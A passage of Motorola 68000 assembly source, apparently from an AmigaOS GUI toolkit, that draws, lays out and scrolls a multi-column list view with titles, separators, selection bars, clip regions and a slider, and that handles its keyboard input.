_LVOSetAPen(a6) movem.w (a7),d0/d1 move.l a2,a1 jsr _LVORectFill(a6) movem.w (a7)+,d0/d1 .black_line btst #oxNLB_MENULOOK,oxNL_flags(a3) bne.b .titles_sep move.w d3,d1 addq.w #2,d1 subq.w #1,d0 move.l oxB_gfxbase(a4),a6 move.l a2,a1 jsr _LVOMove(a6) move.b oxPT_blackpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) move.w d2,d0 addq.w #1,d0 move.w d3,d1 addq.w #2,d1 move.l a2,a1 jsr _LVODraw(a6) .titles_sep ; separators in titles btst #oxNLB_SEPARATORS,oxNL_flags(a3) beq.b .titles move.l oxB_gfxbase(a4),a6 move.b oxPT_darkpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) move.w oxNL_left(a3),d4 ; left addq.w #2,d4 ; + border move.w oxNL_top(a3),d5 move.w d5,d6 addq.w #2,d5 btst #oxNLB_MENULOOK,oxNL_flags(a3) bne.b .height addq.w #1,d5 .height add.w oxNL_titleheight(a3),d6 move.w oxNL_columns(a3),d7 subq.w #1,d7 push a4 lea oxNL_widths(a3),a4 .tit_sep_loop tst.w d7 ; 1 column = 0 separators beq.b .pop add.w (a4)+,d4 move.w d4,d0 move.w d5,d1 move.l a2,a1 jsr _LVOMove(a6) move.w d4,d0 move.w d6,d1 move.l a2,a1 jsr _LVODraw(a6) addq.w #1,d4 ; step over separator dbf d7,.tit_sep_loop .pop pop a4 .titles ; titles texts with clipping each move.l oxB_gfxbase(a4),a6 move.b oxPT_textpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) STRUCTURE titleshelp,0 UWORD th_x1 UWORD th_y1 UWORD th_x2 UWORD th_y2 APTR th_title APTR th_lenght APTR th_width LABEL th_SIZEOF lea -th_SIZEOF(a7),a7 lea oxNL_titles(a3),a0 move.l a0,th_title(a7) lea oxNL_titlelenghts(a3),a0 move.l a0,th_lenght(a7) lea oxNL_widths(a3),a0 move.l a0,th_width(a7) move.w oxNL_spacing(a3),d4 movem.w oxNL_left(a3),d0/d1 addq.w #2,d0 ; left border add.w d4,d0 ; spacing addq.w #3,d1 ; top border move.w d1,d3 add.w oxNL_titleheight(a3),d3 btst #oxNLB_MENULOOK,oxNL_flags(a3) bne.b .store addq.w #1,d1 .store movem.w d0-d3,th_x1(a7) move.w oxNL_columns(a3),d7 subq.w #1,d7 .title_loop movem.w th_x1(a7),d0-d3 move.w d0,d2 move.l th_width(a7),a0 move.w (a0)+,d5 add.w d5,d2 add.w oxNL_separatorwidth(a3),d5 subq.w #1,d2 move.l a0,th_width(a7) sub.w d4,d2 sub.w d4,d2 ; install clip region movem.w d0-d3,oxNL_Region+rg_bounds+ra_MinX(a3) sub.w d0,d2 sub.w d1,d3 movem.w d2/d3,oxNL_RegionRectangle+rr_bounds+ra_MaxX(a3) move.l oxB_layersbase(a4),a6 lea oxNL_Region(a3),a1 move.l rp_Layer(a2),a0 jsr -174(a6) ; _LVOInstallClipRegion move.l d0,oxNL_oldregion(a3) ; print text move.l oxB_gfxbase(a4),a6 move.l th_title(a7),a0 move.l (a0)+,d2 move.l a0,th_title(a7) tst.l d2 beq.b .rem_clip movem.w th_x1(a7),d0/d1 add.w rp_TxBaseline(a2),d1 move.l a2,a1 jsr _LVOMove(a6) move.l th_lenght(a7),a0 move.w (a0)+,d0 move.w d0,d3 move.l a0,th_lenght(a7) move.l d2,a0 move.l a2,a1 jsr _LVOText(a6) btst #oxNLB_BOLDTITLES,oxNL_flags(a3) beq.b .rem_clip movem.w th_x1(a7),d0/d1 add.w rp_TxBaseline(a2),d1 addq.w #1,d0 move.l a2,a1 jsr _LVOMove(a6) move.w d3,d0 move.l d2,a0 move.l a2,a1 jsr _LVOText(a6) .rem_clip ; remove clip region move.l oxB_layersbase(a4),a6 move.l oxNL_oldregion(a3),a1 move.l rp_Layer(a2),a0 jsr -174(a6) ; _LVOInstallClipRegion add.w d5,th_x1(a7) dbf d7,.title_loop lea th_SIZEOF(a7),a7 .content ; refresh d1 lines from line d0 moveq #0,d0 move.w oxNL_lines(a3),d1 moveq #FALSE,d7 ; fill bg anew move.l a4,a6 NL_draw_items ; add d0 to oxNL_topitem, draw until d1 lines are drawn ; oxNL_vdist is in-line scroll distance from d0, is allays null or negative STRUCTURE itemshelp,0 UWORD ih_fromline ; 0 to n-1 UWORD ih_lines ; n APTR ih_startitem UWORD ih_starty APTR ih_width UWORD ih_x1 UWORD ih_y1 UWORD ih_x2 UWORD ih_y2 LABEL ih_SIZEOF tst.w d0 bmi .rts cmp.w oxNL_lines(a3),d0 bge .rts cmp.w oxNL_lines(a3),d1 ble.b NL_draw_items_ok .rts rts NL_draw_items_ok pushm d2-d7/a0-a6 move.l oxNL_drawinfo(a3),a2 move.l oxDI_pentable(a2),a5 move.l oxDI_rastport(a2),a2 move.l a6,a4 move.l oxB_gfxbase(a4),a6 movem.w d0/d1,-(a7) moveq #RP_JAM1,d0 move.l a2,a1 jsr _LVOSetDrMd(a6) movem.w (a7)+,d0/d1 lea -ih_SIZEOF(a7),a7 bra.b .refresh_lines move.w d0,d4 movem.w d0/d1,ih_fromline(a7) movem.w oxNL_contentleft(a3),d0-d3 ; fill x1 to x2 add.w d0,d2 subq.w #1,d2 ; text y move.w d1,d5 mulu rp_TxHeight(a2),d4 add.w d4,d5 add.w oxNL_vdist(a3),d5 move.w d5,ih_starty(a7) tst.w d7 ; optionally not fill bg beq.b .separators move.w oxNL_scrollpix(a3),d4 bmi.b .up move.w d1,d3 add.w d4,d1 bra.b .fill .up move.w d3,d1 add.w d4,d3 bra.b .fill .refresh_lines move.w d0,d4 move.w d1,d6 mulu.w rp_TxHeight(a2),d6 movem.w d0/d1,ih_fromline(a7) movem.w oxNL_contentleft(a3),d0-d2/d5 move.w d1,d7 add.w d1,d5 subq.w #1,d5 ; fill x1 to x2 add.w d0,d2 subq.w #1,d2 ; print y, fill y1 mulu rp_TxHeight(a2),d4 add.w d4,d1 add.w oxNL_vdist(a3),d1 move.w d1,ih_starty(a7) tst.w d7 ; optionally not fill bg beq.b .separators ; fill y2 move.w d1,d3 add.w d6,d3 subq.w #1,d3 ; clip top cmp.w d7,d1 bge.b .clip_bottom move.w d7,d1 .clip_bottom cmp.w d5,d3 ble.b .fill move.w d5,d3 .fill ; ; fill with image ; move.l oxNL_drawinfo(a3),a1 ; move.l oxDI_imagetable(a1),a1 ; move.l oxIT_bgimage(a1),d4 ; beq.b .penfill ; move.l d4,a0 ; moveq #0,d4 ; moveq #0,d5 ; move.l a2,a1 ; move.l a4,a6 ; jsr _LVOoxImageFill(a6) ; bra.b .separators .penfill ; new visible background w/color movem.w d0/d1,-(a7) move.l oxB_gfxbase(a4),a6 move.b oxPT_listpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) movem.w (a7)+,d0/d1 move.l a2,a1 jsr _LVORectFill(a6) .separators ; calc and draw content separators move.l oxB_gfxbase(a4),a6 btst #oxNLB_SEPARATORS,oxNL_flags(a3) beq.b .items move.b oxPT_darkpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) movem.w oxNL_left(a3),d4/d5 ; left / top addq.w #2,d4 ; + border add.w oxNL_vertbortop(a3),d5 sub.w oxNL_spacing(a3),d5 move.w d5,d6 add.w oxNL_contentheight(a3),d6 add.w oxNL_spacing(a3),d6 addq.w #1,d6 ; ?, is required for unknown reason move.w oxNL_columns(a3),d7 subq.w #1,d7 push a4 lea oxNL_widths(a3),a4 .sep_loop tst.w d7 ; 1 column = 0 separators beq.b .pop add.w (a4)+,d4 move.w d4,d0 move.w d5,d1 move.l a2,a1 jsr _LVOMove(a6) move.w d4,d0 move.w d6,d1 move.l a2,a1 jsr _LVODraw(a6) addq.w #1,d4 ; step over separator dbf d7,.sep_loop .pop pop a4 .items ; draw items that are within the refresh-range ; init start item, is topitem + ih_fromline move.l oxNL_topitem(a3),d0 beq.b .pop_ih move.l d0,a0 tst.l (a0) ; empty list? dont draw items beq.b .pop_ih move.w ih_fromline(a7),d0 .to_loop move.l a0,d1 move.l (a0),a0 tst.l (a0) dbeq d0,.to_loop move.l d1,ih_startitem(a7) ; select bar in one part over full line if no separators btst #oxNLB_SEPARATORS,oxNL_flags(a3) bne.b .columns move.l oxB_gfxbase(a4),a6 move.b oxPT_listselpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) push a4 move.l ih_startitem+4(a7),a4 move.w ih_starty+4(a7),d4 ; vdist is allready added move.w 4+ih_lines(a7),d6 subq.w #1,d6 move.l oxNL_drawinfo(a3),a0 move.l oxDI_imagetable(a0),a0 move.l oxIT_selectimage(a0),d5 .sel_line_loop btst #oxNLIB_SELECTED,oxNLI_flags(a4) bne.b .box_coords btst #oxNLIB_ACTIVE,oxNLI_flags(a4) beq.b .sll_c .box_coords ; calc coords of select bg box and clip y move.w d4,d1 move.w oxNL_contenttop(a3),d0 moveq #FALSE,d7 cmp.w d0,d1 bge.b .btm move.w d0,d1 moveq #TRUE,d7 .btm move.w d1,d3 add.w rp_TxHeight(a2),d3 add.w oxNL_contentheight(a3),d0 cmp.w d0,d3 ble.b .sub_btm move.w d0,d3 .sub_btm subq.w #1,d3 move.w oxNL_contentleft(a3),d0 move.w d0,d2 add.w oxNL_contentwidth(a3),d2 subq.w #1,d2 tst.w d7 beq.b .imagefill_bar add.w oxNL_vdist(a3),d3 .imagefill_bar btst #oxNLIB_SELECTED,oxNLI_flags(a4) beq.b .fullw_cursor move.l a2,a1 move.l (a7),a6 btst #oxBB_USEBGIMAGES,oxB_configflags(a6) beq.b .onecolorbar tst.l d5 beq.b .onecolorbar move.l d5,a0 movem.w d0/d1/d4,-(a7) move.l d5,-(a7) move.w d0,d4 move.w d1,d5 tst.w d7 beq.b .fill_bar add.w oxNL_vdist(a3),d5 .fill_bar move.l 10(a7),a6 jsr _LVOoxImageFill(a6) move.l (a7)+,d5 movem.w (a7)+,d0/d1/d4 bra.b .fullw_cursor .onecolorbar movem.w d0/d1,-(a7) move.l 4(a7),a6 move.l oxB_gfxbase(a6),a6 jsr _LVORectFill(a6) movem.w (a7)+,d0/d1 .fullw_cursor btst #oxNLIB_ACTIVE,oxNLI_flags(a4) beq.b .sll_c move.w #%1010101010101010,rp_LinePtrn(a2) move.l (a7),a6 movem.l d4/d5,-(a7) move.b oxPT_cursorpen(a5),d4 move.b d4,d5 jsr _LVOoxBevelBorder(a6) movem.l (a7)+,d4/d5 move.l oxB_gfxbase(a6),a6 move.w #$ffff,rp_LinePtrn(a2) .sll_c add.w oxNL_lineheight(a3),d4 move.l (a4),a4 tst.l (a4) dbeq d6,.sel_line_loop pop a4 .columns ; init columns loop move.l oxB_gfxbase(a4),a6 lea oxNL_widths(a3),a0 move.l a0,ih_width(a7) movem.w oxNL_contentleft(a3),d0-d3 add.w d1,d3 subq.w #1,d3 moveq #0,d7 .columns_loop ; column loop, install cliprect for column move.w d0,d2 move.l ih_width(a7),a0 move.w (a0),d5 add.w d5,d2 add.w oxNL_separatorwidth(a3),d5 subq.w #1,d2 addq.l #2,ih_width(a7) sub.w oxNL_spacing(a3),d2 sub.w oxNL_spacing(a3),d2 movem.w d0-d3,ih_x1(a7) ; install clip region movem.w d0-d3,oxNL_Region+rg_bounds+ra_MinX(a3) sub.w d0,d2 sub.w d1,d3 movem.w d2/d3,oxNL_RegionRectangle+rr_bounds+ra_MaxX(a3) move.l oxB_layersbase(a4),a6 lea oxNL_Region(a3),a1 move.l rp_Layer(a2),a0 jsr -174(a6) ; _LVOInstallClipRegion move.l d0,oxNL_oldregion(a3) ; init line loop move.l oxB_gfxbase(a4),a6 push a4 move.l ih_startitem+4(a7),a4 move.w ih_starty+4(a7),d4 ; vdist is allready added move.w 4+ih_lines(a7),d6 subq.w #1,d6 .line_loop ; line loop ; select-bar background btst #oxNLB_SEPARATORS,oxNL_flags(a3) beq.b .text btst #oxNLIB_SELECTED,oxNLI_flags(a4) beq.b .itembox_coords move.b oxPT_listselpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) .itembox_coords move.w d4,d1 move.w d1,d3 add.w rp_TxHeight(a2),d3 subq.w #1,d3 move.w ih_x1+4(a7),d0 move.w ih_x2+4(a7),d2 btst #oxNLIB_SELECTED,oxNLI_flags(a4) beq.b .cursor move.l a2,a1 move.l (a7),a0 btst #oxBB_USEBGIMAGES,oxB_configflags(a0) beq.b .one_color_bar pushm d4/d5 move.l oxNL_drawinfo(a3),a0 move.l oxDI_imagetable(a0),a0 move.l oxIT_selectimage(a0),d4 tst.l d4 beq.b .pop45 move.l d4,a0 move.w d0,d4 move.w d1,d5 move.l 8(a7),a6 movem.w d0/d1,-(a7) jsr _LVOoxImageFill(a6) move.l oxB_gfxbase(a6),a6 movem.w (a7)+,d0/d1 popm d4/d5 .cursor ; cursor btst #oxNLIB_ACTIVE,oxNLI_flags(a4) beq.b .text move.w #%1010101010101010,rp_LinePtrn(a2) move.l (a7),a6 movem.w d4/d5,-(a7) move.b oxPT_cursorpen(a5),d4 move.b d4,d5 jsr _LVOoxBevelBorder(a6) movem.w (a7)+,d4/d5 move.l oxB_gfxbase(a6),a6 move.w #$ffff,rp_LinePtrn(a2) bra.b .text .pop45 popm d4/d5 .one_color_bar pushm d0/d1 jsr _LVORectFill(a6) popm d0/d1 bra.b .cursor .text ; text move.b oxPT_listofftextpen(a5),d0 btst #oxNLIB_OFF,oxNLI_flags(a4) bne.b .settextpen btst #oxNLIB_SELECTED,oxNLI_flags(a4) bne.b .selected move.b oxPT_listalttextpen(a5),d0 btst #oxNLIB_ALTCOLOR,oxNLI_flags(a4) bne.b .settextpen move.b oxPT_listtextpen(a5),d0 bra.b .settextpen .selected move.b oxPT_listtextpen(a5),d0 btst #oxNLIB_ALTCOLOR,oxNLI_flags(a4) beq.b .settextpen move.b oxPT_listalttextpen(a5),d0 .settextpen move.l a2,a1 jsr _LVOSetAPen(a6) move.w d4,d1 add.w rp_TxBaseline(a2),d1 move.w ih_x1+4(a7),d0 move.w d7,d3 add.w d3,d3 move.w oxNLI_offsets(a4,d3.w),d2 tst.w d3 bne .add_align btst #oxNLiB_FOLDERS,oxNL_iflags(a3) beq .add_align tst.w d2 bne .arrow add.w oxNLI_indent(a4),d0 .arrow movem.w d0/d1,-(a7) tst.w oxNLI_numfold(a4) beq .arrowwidth lea oxNL_arrow_right(a3),a1 btst #oxNLIB_OPEN,oxNLI_flags(a4) beq .arrow_ypos lea oxNL_arrow_down(a3),a1 .arrow_ypos sub.w rp_TxBaseline(a2),d1 add.w oxNL_arrowpos(a3),d1 move.l a2,a0 move.l 4(a7),a6 move.l oxB_intbase(a6),a6 jsr _LVODrawBorder(a6) move.l 4(a7),a6 move.l oxB_gfxbase(a6),a6 .arrowwidth add.w #13,(a7) ; step over symbol more to the right movem.w (a7)+,d0/d1 .add_align add.w d2,d0 move.l a2,a1 jsr _LVOMove(a6) move.w oxNLI_lenghts(a4,d3.w),d1 add.w d3,d3 move.l oxNLI_strings(a4,d3.w),d0 beq.b .lp_c move.l d0,a0 move.w d1,d0 move.l a2,a1 jsr _LVOText(a6) ; ghost if off btst #oxNLIB_OFF,oxNLI_flags(a4) beq.b .lp_c move.b oxPT_listpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) move.w d4,d1 move.w d1,d3 add.w oxNL_lineheight(a3),d3 subq.w #1,d3 move.w ih_x1+4(a7),d0 move.w ih_x2+4(a7),d2 lea .ghostpattern(pc),a0 move.b #1,rp_AreaPtSz(a2) move.l a0,rp_AreaPtrn(a2) move.l a2,a1 jsr _LVORectFill(a6) clr.l rp_AreaPtrn(a2) clr.b rp_AreaPtSz(a2) .lp_c add.w oxNL_lineheight(a3),d4 move.l (a4),a4 tst.l (a4) beq.b .terminate dbf d6,.line_loop .terminate pop a4 ; remove cliprect for column move.l oxB_layersbase(a4),a6 move.l oxNL_oldregion(a3),a1 move.l rp_Layer(a2),a0 jsr -174(a6) ; _LVOInstallClipRegion add.w d5,ih_x1(a7) movem.w ih_x1(a7),d0-d3 addq.w #1,d7 cmp.w oxNL_columns(a3),d7 blt.b .columns_loop .pop_ih lea ih_SIZEOF(a7),a7 popm d2-d7/a0-a6 moveq #0,d0 .rts rts .ghostpattern dc.w %1000100010001000 dc.w %0010001000100010 NL_draw_items_rf tst.w d0 bmi .rts cmp.w oxNL_lines(a3),d0 bge .rts cmp.w oxNL_lines(a3),d1 bgt .rts movem.l a0-a3,-(a7) movem.w d0/d1,-(a7) move.l oxNL_drawinfo(a3),a1 btst #oxDIB_WINDOWOPEN,oxDI_flags(a1) beq .no_draw move.l oxDI_windowobject(a1),a0 moveq #0,d4 jsr _LVOoxBeginRefresh(a6) move.l d0,a2 movem.w (a7),d0/d1 bsr NL_draw_items_ok movem.w (a7)+,d4/d5 movem.w oxNL_contentleft(a3),d0-d3 mulu.w rp_TxHeight(a2),d4 mulu.w rp_TxHeight(a2),d5 ; calc copy y start move.w d1,d6 add.w d4,d1 add.w oxNL_vdist(a3),d1 cmp.w d6,d1 bge.b .h move.w d6,d1 .h ; calc copy height (geht nicht? macht erstmal nix, da unterhalb der liste nix verändert wird?) add.w d1,d5 add.w d1,d3 cmp.w d3,d5 ble .h2 move.w d3,d5 .h2 sub.w d1,d5 move.w d5,d3 moveq #0,d4 move.l oxNL_drawinfo(a3),a0 move.l oxDI_windowobject(a0),a0 jsr _LVOoxEndRefresh(a6) .pop movem.l (a7)+,a0-a3 moveq #1,d0 .rts rts .no_draw addq.l #4,a7 bra .pop NL_refresh ; rethink and redraw list bsr NL_fix ; redraw list moveq #TRUE,d7 moveq #0,d0 move.w oxNL_lines(a3),d1 bsr NL_draw_items_rf ; redraw slider move.l oxNL_sliderobject(a3),d0 beq .rts move.l d0,a0 move.l #OXM_UPDATE,d1 jsr _LVOoxDoMethod(a6) .rts rts NL_fix bclr #oxNLiB_REFRESHALL,oxNL_iflags(a3) ; make sure that list is refreshed in update clr.w oxNL_oldpixoffset(a3) ; see if list is empty tst.l oxNL_topitem(a3) bne .has_content clr.w oxNL_vdist(a3) clr.w oxNL_inpos(a3) clr.w oxNL_offset(a3) bra .slider .has_content move.w oxNL_lines(a3),d1 cmp.w oxNL_items(a3),d1 ble .fixbottom ; align to first item as top item clr.w oxNL_vdist(a3) move.w oxNL_inpos(a3),d0 add.w oxNL_offset(a3),d0 move.w d0,oxNL_inpos(a3) clr.w oxNL_offset(a3) move.l oxNL_list(a3),oxNL_topitem(a3) bra .slider .fixbottom ; if required: set correct inpos and calc top offset starting from bottom ; is the offset smaller than items - lines? ; if yes go refresh! ; if not, set absolute offset as items - bodylines move.w oxNL_items(a3),d0 sub.w oxNL_lines(a3),d0 cmp.w oxNL_offset(a3),d0 bge .slider move.w oxNL_inpos(a3),d0 add.w oxNL_offset(a3),d0 move.w oxNL_items(a3),d1 sub.w oxNL_bodylines(a3),d1 move.w d1,oxNL_offset(a3) sub.w d1,d0 move.w d0,oxNL_inpos(a3) ; find new topitem backwards d1 items starting from last visible item move.l MLH_TAILPRED+oxNL_list(a3),a0 move.w oxNL_bodylines(a3),d0 .find_top_loop subq.w #1,d0 beq .settop move.l MLN_PRED(a0),a0 bra .find_top_loop .settop move.l a0,oxNL_topitem(a3) ; calc vdist move.w oxNL_bodylines(a3),d0 mulu.w oxNL_lineheight(a3),d0 sub.w oxNL_contentheight(a3),d0 neg.w d0 move.w d0,oxNL_vdist(a3) bset #oxNLiB_REFRESHALL,oxNL_iflags(a3) .slider ; slider move.l oxNL_sliderobject(a3),d0 beq .want_ref_all move.l d0,a0 moveq #OXM_setprop,d1 lea -oxPI_SIZEOF(a7),a7 move.l a7,a1 move.w oxNL_items(a3),d0 mulu.w oxNL_lineheight(a3),d0 move.w d0,oxPI_max(a1) btst #oxNLiB_REFRESHALL,oxNL_iflags(a3) bne .sub move.w oxNL_offset(a3),d0 mulu.w oxNL_lineheight(a3),d0 sub.w oxNL_vdist(a3),d0 bra .set_pot_body .sub sub.w oxNL_contentheight(a3),d0 .set_pot_body move.w d0,oxPI_pot(a1) move.w oxNL_contentheight(a3),oxPI_body(a1) jsr _LVOoxDoMethod(a6) lea oxPI_SIZEOF(a7),a7 .want_ref_all bset #oxNLiB_REFRESHALL,oxNL_iflags(a3) rts NL_UPDATE ; redraw content: shift if moved and draw new lines only move.l oxNL_drawinfo(a3),a1 move.l oxDI_rastport(a1),a1 ; calc start entry move.w oxNL_items(a3),d0 ; total list entrys mulu.w rp_TxHeight(a1),d0 move.w oxNL_contentheight(a3),d1 ext.l d1 sub.l d1,d0 mulu.w oxNL_softpos(a3),d0 divu.w #OXPROP_SOFTMAX,d0 move.w oxNL_oldpixoffset(a3),d6 move.w d0,oxNL_oldpixoffset(a3) sub.w d0,d6 ;move.w d6,oxNL_scrollpix(a3) ; beq.b .rts ; no op if no visual change ext.l d0 divu rp_TxHeight(a1),d0 ; calc pixel dist in the line move.l d0,d1 swap d1 neg.w d1 move.w d1,oxNL_vdist(a3) moveq #-1,d1 lea oxNL_list(a3),a0 .to_first_lp move.l (a0),a0 tst.l (a0) beq.b .rts addq.w #1,d1 dbf d0,.to_first_lp move.w oxNL_offset(a3),d0 add.w oxNL_inpos(a3),d0 sub.w d1,d0 move.w d0,oxNL_inpos(a3) clr.w oxNL_activeinpos(a3) move.w d1,oxNL_offset(a3) move.l a0,oxNL_topitem(a3) ; set up drawing move.l oxNL_drawinfo(a3),a1 move.l oxDI_pentable(a1),a5 move.l a6,a4 moveq #0,d4 move.l oxDI_windowobject(a1),a0 jsr _LVOoxBeginRefresh(a6) move.l d0,a2 ; init redraw all lines moveq #0,d0 move.w oxNL_lines(a3),d1 bclr #oxNLiB_REFRESHALL,oxNL_iflags(a3) bne.b .redraw ; scroll content and redraw newly visible lines only moveq #0,d0 ; dont scroll x move.w d6,d1 ; scroll y ammount as was oldpixoffset - pixoffset neg.w d1 ; scrolling down slides list up ... movem.w oxNL_contentleft(a3),d2-d5 add.w d2,d4 add.w d3,d5 subq.w #1,d4 subq.w #1,d5 move.l oxB_gfxbase(a4),a6 move.l a2,a1 jsr _LVOScrollRaster(a6) ; draw new lines only, ; ammount must be allways positive tst.w d6 bge.w .up neg.w d6 ; scroll down move.w oxNL_contentheight(a3),d0 subq.w #1,d0 sub.w d6,d0 bge.b .calc_lines moveq #0,d0 ; if from bottom to first is outside box set to 0 .calc_lines ext.l d0 divu rp_TxHeight(a2),d0 move.w oxNL_lines(a3),d1 sub.w d0,d1 bra.b .redraw .up moveq #0,d0 move.w oxNL_contentheight(a3),d1 subq.w #1,d1 cmp.w d6,d1 ble.b .calc_lines_up move.w d6,d1 .calc_lines_up ext.l d1 divu rp_TxHeight(a2),d1 addq.w #2,d1 .redraw moveq #TRUE,d7 ; fill new bg with listcolor (overwrite auto color 0 for new areas) move.l a4,a6 bsr NL_draw_items move.l a4,a6 move.l oxNL_drawinfo(a3),a0 move.l oxDI_windowobject(a0),a0 moveq #0,d4 movem.w oxNL_contentleft(a3),d0-d3 jsr _LVOoxEndRefresh(a6) .rts rts NL_GETLAYOUT move.l oxNL_drawinfo(a0),a2 move.l oxDI_rastport(a2),a2 move.l rp_Font(a2),a2 move.w tf_YSize(a2),d2 ; line height moveq #2,d0 ; top borders btst #oxNLB_TITLES,oxNL_flags(a0) beq.b .vertborders add.w d2,d0 ; title text height addq.w #3,d0 ; spacing im title, oben 2 und unten 1 subq.w #1,d0 ; black border move.w d0,oxNL_titleheight(a0) btst #oxNLB_MENULOOK,oxNL_flags(a0) bne.b .newlook add.w #3,d0 ; old look title top and bottom border bra.b .vertborders .newlook addq.w #2,d0 ; new look title bottom border .vertborders move.w d0,oxNL_sepyoffset(a0) ; start draw separtor lines from top+sepyoffset add.w oxNL_spacing(a0),d0 ; vspace oben move.w d0,oxNL_vertbortop(a0) ; start printing at this + font baseline addq.w #2,d0 ; borders bottom add.w oxNL_spacing(a0),d0 ; vspace bottom move.w d0,oxNL_vertborders(a0) ; contentheight = height - vertborders ; min space for minlines items or total items move.w oxNL_minlines(a0),d3 btst #oxNLB_MAXED,oxNL_flags(a0) beq.b .mul move.w oxNL_items(a0),d3 ; this is total ITEMS, not(!) visible lines .mul mulu.w d3,d2 add.w d2,d0 cmp.w oxNL_minheight(a0),d0 bge.b .setwh move.w oxNL_minheight(a0),d0 .setwh move.w oxNL_minwidth(a0),oxLI_minwidth(a1) move.w d0,oxLI_minheight(a1) move.w oxNL_propw(a0),oxLI_propw(a1) beq.b .setph move.w #$7fff,oxLI_maxwidth(a1) .setph move.w oxNL_proph(a0),oxLI_proph(a1) beq.b .ok move.w #$7fff,oxLI_maxheight(a1) .ok moveq #1,d0 rts NL_SETLAYOUT move.l oxLI_width(a1),oxNL_width(a0) move.l oxLI_left(a1),oxNL_left(a0) move.l oxNL_drawinfo(a0),a2 move.l oxDI_rastport(a2),a2 move.w rp_TxHeight(a2),d0 move.w d0,oxNL_lineheight(a3) ; arrow y center sub.w #12,d0 asr.w #1,d0 move.w d0,oxNL_arrowpos(a3) ; content pos moveq #2,d1 ; boder add.w oxNL_spacing(a0),d1 ; spacing ; left edge of entries area move.w oxNL_left(a0),d0 add.w d1,d0 move.w d0,oxNL_contentleft(a0) ; width of entries area, this is divided per percents below move.w oxNL_width(a0),d0 sub.w d1,d0 ; left and right borders and spacings sub.w d1,d0 ; sliderwidth is 0 if no slider sub.w oxNL_sliderwidth(a0),d0 move.w d0,oxNL_contentwidth(a0) ; top of list entries area move.w oxNL_top(a0),d0 add.w oxNL_vertbortop(a0),d0 move.w d0,oxNL_contenttop(a0) ; height of list entries area moveq #0,d0 ; init for div move.w oxNL_height(a0),d0 sub.w oxNL_vertborders(a0),d0 move.w d0,oxNL_contentheight(a0) ; number of visible lines, add 1 to fill up the half-visible entry at bottom divu.w rp_TxHeight(a2),d0 move.l d0,d1 swap d1 tst.w d1 ; half visible line? -> + a full line beq.b .set addq.w #1,d0 .set move.w d0,oxNL_bodylines(a0) addq.w #1,d0 move.w d0,oxNL_lines(a0) ; vertical start and end of separator line move.w oxNL_sepyoffset(a0),d0 add.w oxNL_top(a0),d0 move.w d0,oxNL_sepystart(a0) add.w oxNL_contentheight(a0),d0 add.w oxNL_spacing(a0),d0 move.w d0,oxNL_sepyend(a0) ; calc widths of columns (add prop values and div by that, mul by value) move.w oxNL_width(a0),d0 ; width subq.w #4,d0 ; - borders sub.w oxNL_sliderwidth(a0),d0 ; - slider moveq #0,d1 ; column counter btst #oxNLB_SEPARATORS,oxNL_flags(a0) beq.b .get_sum sub.w oxNL_columns(a0),d0 ; sub space for separators .get_sum move.w oxNL_propsum(a0),d3 ; moveq #0,d4 ; move.w d3,d4 ; lsr.w #1,d4 ; runden: die Hälfte des Divisors move.b oxNL_aligns(a3),d5 lea oxNL_props(a0),a1 lea oxNL_widths(a0),a2 move.l a6,a4 move.l oxB_gfxbase(a6),a6 .columns_loop move.w d0,d2 mulu.w (a1)+,d2 ; add.l d4,d2 ; zum Dividend addieren divu.w d3,d2 move.w d2,(a2)+ ; calc horizontal pixel offsets of right aligned texts lsr.b #1,d5 bcc.b .col_lpc pushm d0-d4/a1/a2 ; items in a column loop, d5 align bits, d1 column, d2 column width move.w d1,d3 add.w d3,d3 move.w d3,d4 add.w d4,d4 lea oxNL_list(a3),a2 .items_loop move.l (a2),a2 tst.l (a2) beq.b .pop move.l oxNLI_strings(a2,d4.w),d0 beq.b .items_loop move.l d0,a0 move.w oxNLI_lenghts(a2,d3.w),d0 move.l oxNL_drawinfo(a3),a1 move.l oxDI_rastport(a1),a1 jsr _LVOTextLength(a6) move.w d2,d1 sub.w d0,d1 move.w oxNL_spacing(a3),d0 add.w d0,d0 sub.w d0,d1 move.w d1,oxNLI_offsets(a2,d3.w) bra.b .items_loop .pop popm d0-d4/a1/a2 .col_lpc addq.w #1,d1 cmp.w oxNL_columns(a3),d1 blt.b .columns_loop move.l a4,a6 ; fit list after window resize bsr NL_fix ; place slider and set its sizes move.l oxNL_sliderobject(a3),d0 beq .rts_ok move.l d0,a0 lea -oxLI_SIZEOF(a7),a7 move.l a7,a1 movem.w oxNL_left(a3),d0-d3 add.w d2,d0 move.w oxNL_sliderwidth(a3),d2 sub.w d2,d0 subq.w #1,d0 ; border addq.w #1,d2 btst #oxNLB_MENULOOK,oxNL_flags(a3) bne.b .set_ltwh subq.w #1,d0 addq.w #1,d1 ; border subq.w #2,d3 .set_ltwh movem.w d0-d3,oxLI_left(a1) moveq #OXM_SETLAYOUT,d1 jsr _LVOoxDoMethod(a6) lea oxLI_SIZEOF(a7),a7 .rts_ok moveq #1,d0 rts ; call set/update on slider only if list pos is modified by mouse or cursor (in NL_INTUI) NL_INTUI tst.l oxNL_topitem(a3) beq.b .rts_unused cmp.l #IDCMP_MOUSEBUTTONS,im_Class(a1) beq.b .mousebuttons cmp.l #IDCMP_VANILLAKEY,im_Class(a1) bne.b .active ; senschar move.b oxNL_senschar(a0),d0 cmp.b im_Code+1(a1),d0 beq.b NL_ACTIVATE ; vkey only if we are active btst #oxNLiB_ACTIVE,oxNL_iflags(a0) beq .rts_unused cmp.b #"d",im_Code+1(a1) beq .down1 cmp.b #"u",im_Code+1(a1) beq .up1 ; check if <enter> cmp.b #$d,im_Code+1(a1) beq.b .prepare_sel ; check if <space> cmp.b #$20,im_Code+1(a1) bne.b .tab_next .prepare_sel move.l oxNL_activeitem(a3),a0 move.w oxNL_activeinpos(a3),d0 bra .select .tab_next ; tab cycle next cmp.b #$9,im_Code+1(A1) bne.b .rts_unused ; allow other senschars to see this move.l oxNL_next(a0),d0 bra.b .nextprev .active ; tab cycle prev and cursor btst #oxNLiB_ACTIVE,oxNL_iflags(a0) beq .rts_unused cmp.l 